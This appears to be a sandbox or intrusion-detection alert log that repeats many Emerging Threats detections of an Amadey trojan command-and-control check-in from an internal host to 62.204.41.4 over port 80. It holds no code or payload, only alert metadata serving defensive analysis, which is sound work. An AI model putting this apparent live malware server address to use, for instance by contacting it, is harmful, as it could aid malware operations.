Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449919802027700 02/06/23-18:36:50.383743
SID:	2027700
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450299802027700 02/06/23-18:38:32.713859
SID:	2027700
Source Port:	50299
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450045802027700 02/06/23-18:37:25.620164
SID:	2027700
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450169802027700 02/06/23-18:37:58.055436
SID:	2027700
Source Port:	50169
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449991802027700 02/06/23-18:37:09.959911
SID:	2027700
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450039802027700 02/06/23-18:37:24.123203
SID:	2027700
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450017802027700 02/06/23-18:37:18.799281
SID:	2027700
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450366802027700 02/06/23-18:38:50.739823
SID:	2027700
Source Port:	50366
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449747802027700 02/06/23-18:36:03.176630
SID:	2027700
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449877802027700 02/06/23-18:36:37.241186
SID:	2027700
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450112802027700 02/06/23-18:37:42.889738
SID:	2027700
Source Port:	50112
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449966802027700 02/06/23-18:37:03.777402
SID:	2027700
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449753802027700 02/06/23-18:36:04.648625
SID:	2027700
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449836802027700 02/06/23-18:36:26.304985
SID:	2027700
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450283802027700 02/06/23-18:38:28.863963
SID:	2027700
Source Port:	50283
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450325802027700 02/06/23-18:38:38.783317
SID:	2027700
Source Port:	50325
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450201802027700 02/06/23-18:38:05.815511
SID:	2027700
Source Port:	50201
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450242802027700 02/06/23-18:38:17.282353
SID:	2027700
Source Port:	50242
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450331802027700 02/06/23-18:38:40.257821
SID:	2027700
Source Port:	50331
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449900802027700 02/06/23-18:36:42.821925
SID:	2027700
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450323802027700 02/06/23-18:38:38.290728
SID:	2027700
Source Port:	50323
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449961802027700 02/06/23-18:37:02.522336
SID:	2027700
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450032802027700 02/06/23-18:37:22.465405
SID:	2027700
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449878802027700 02/06/23-18:36:37.478498
SID:	2027700
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450127802027700 02/06/23-18:37:46.506415
SID:	2027700
Source Port:	50127
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449750802027700 02/06/23-18:36:03.933992
SID:	2027700
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450050802027700 02/06/23-18:37:26.808863
SID:	2027700
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449737802027700 02/06/23-18:36:00.769094
SID:	2027700
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449896802027700 02/06/23-18:36:41.854218
SID:	2027700
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450004802027700 02/06/23-18:37:15.494599
SID:	2027700
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450341802027700 02/06/23-18:38:42.838470
SID:	2027700
Source Port:	50341
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450356802027700 02/06/23-18:38:48.308768
SID:	2027700
Source Port:	50356
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449994802027700 02/06/23-18:37:10.684632
SID:	2027700
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449915802027700 02/06/23-18:36:49.430014
SID:	2027700
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450145802027700 02/06/23-18:37:52.348178
SID:	2027700
Source Port:	50145
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449793802027700 02/06/23-18:36:14.067336
SID:	2027700
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449933802027700 02/06/23-18:36:55.825769
SID:	2027700
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450163802027700 02/06/23-18:37:56.641063
SID:	2027700
Source Port:	50163
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449755802027700 02/06/23-18:36:05.145544
SID:	2027700
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450155802027700 02/06/23-18:37:54.734217
SID:	2027700
Source Port:	50155
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449951802027700 02/06/23-18:37:00.088634
SID:	2027700
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450060802027700 02/06/23-18:37:28.997105
SID:	2027700
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449827802027700 02/06/23-18:36:24.116181
SID:	2027700
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449910802027700 02/06/23-18:36:48.230042
SID:	2027700
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450351802027700 02/06/23-18:38:47.071030
SID:	2027700
Source Port:	50351
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449732802027700 02/06/23-18:35:59.129342
SID:	2027700
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449809802027700 02/06/23-18:36:19.755075
SID:	2027700
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450196802027700 02/06/23-18:38:04.592802
SID:	2027700
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450328802027700 02/06/23-18:38:39.535775
SID:	2027700
Source Port:	50328
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450109802027700 02/06/23-18:37:42.135759
SID:	2027700
Source Port:	50109
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450178802027700 02/06/23-18:38:00.218801
SID:	2027700
Source Port:	50178
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449773802027700 02/06/23-18:36:09.507798
SID:	2027700
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450137802027700 02/06/23-18:37:50.172258
SID:	2027700
Source Port:	50137
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450333802027700 02/06/23-18:38:40.754989
SID:	2027700
Source Port:	50333
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449810802027700 02/06/23-18:36:19.991660
SID:	2027700
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450305802027700 02/06/23-18:38:34.163427
SID:	2027700
Source Port:	50305
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450173802027700 02/06/23-18:37:59.034324
SID:	2027700
Source Port:	50173
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449905802027700 02/06/23-18:36:44.026160
SID:	2027700
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450210802027700 02/06/23-18:38:09.556488
SID:	2027700
Source Port:	50210
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450268802027700 02/06/23-18:38:23.521301
SID:	2027700
Source Port:	50268
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449727802027700 02/06/23-18:35:56.731345
SID:	2027700
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449868802027700 02/06/23-18:36:33.899866
SID:	2027700
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450251802027700 02/06/23-18:38:19.454938
SID:	2027700
Source Port:	50251
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450191802027700 02/06/23-18:38:03.374137
SID:	2027700
Source Port:	50191
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449837802027700 02/06/23-18:36:26.550389
SID:	2027700
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450168802027700 02/06/23-18:37:57.812117
SID:	2027700
Source Port:	50168
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450165802027700 02/06/23-18:37:57.109837
SID:	2027700
Source Port:	50165
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450300802027700 02/06/23-18:38:32.957646
SID:	2027700
Source Port:	50300
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449898802027700 02/06/23-18:36:42.338054
SID:	2027700
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449981802027700 02/06/23-18:37:07.544608
SID:	2027700
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449941802027700 02/06/23-18:36:57.711371
SID:	2027700
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450318802027700 02/06/23-18:38:37.320679
SID:	2027700
Source Port:	50318
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450346802027700 02/06/23-18:38:45.811035
SID:	2027700
Source Port:	50346
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449956802027700 02/06/23-18:37:01.309389
SID:	2027700
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450030802027700 02/06/23-18:37:21.969699
SID:	2027700
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449763802027700 02/06/23-18:36:07.067396
SID:	2027700
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450315802027700 02/06/23-18:38:36.612364
SID:	2027700
Source Port:	50315
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449778802027700 02/06/23-18:36:10.754396
SID:	2027700
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449800802027700 02/06/23-18:36:16.519327
SID:	2027700
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449971802027700 02/06/23-18:37:04.988037
SID:	2027700
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450122802027700 02/06/23-18:37:45.289416
SID:	2027700
Source Port:	50122
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450278802027700 02/06/23-18:38:27.635526
SID:	2027700
Source Port:	50278
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450107802027700 02/06/23-18:37:41.653833
SID:	2027700
Source Port:	50107
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450022802027700 02/06/23-18:37:20.029901
SID:	2027700
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449752802027700 02/06/23-18:36:04.410535
SID:	2027700
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450313802027700 02/06/23-18:38:36.114307
SID:	2027700
Source Port:	50313
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450241802027700 02/06/23-18:38:17.040111
SID:	2027700
Source Port:	50241
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449865802027700 02/06/23-18:36:32.990534
SID:	2027700
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450193802027700 02/06/23-18:38:03.846258
SID:	2027700
Source Port:	50193
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450200802027700 02/06/23-18:38:05.567462
SID:	2027700
Source Port:	50200
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449735802027700 02/06/23-18:36:00.278415
SID:	2027700
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449913802027700 02/06/23-18:36:48.947846
SID:	2027700
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450063802027700 02/06/23-18:37:29.786603
SID:	2027700
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449760802027700 02/06/23-18:36:06.332167
SID:	2027700
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450213802027700 02/06/23-18:38:10.266408
SID:	2027700
Source Port:	50213
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450343802027700 02/06/23-18:38:43.443139
SID:	2027700
Source Port:	50343
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450354802027700 02/06/23-18:38:47.820987
SID:	2027700
Source Port:	50354
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449765802027700 02/06/23-18:36:07.550649
SID:	2027700
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449902802027700 02/06/23-18:36:43.303336
SID:	2027700
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449943802027700 02/06/23-18:36:58.182256
SID:	2027700
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449984802027700 02/06/23-18:37:08.277099
SID:	2027700
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450135802027700 02/06/23-18:37:49.197725
SID:	2027700
Source Port:	50135
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450176802027700 02/06/23-18:37:59.752747
SID:	2027700
Source Port:	50176
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449964802027700 02/06/23-18:37:03.280174
SID:	2027700
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450298802027700 02/06/23-18:38:32.460707
SID:	2027700
Source Port:	50298
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

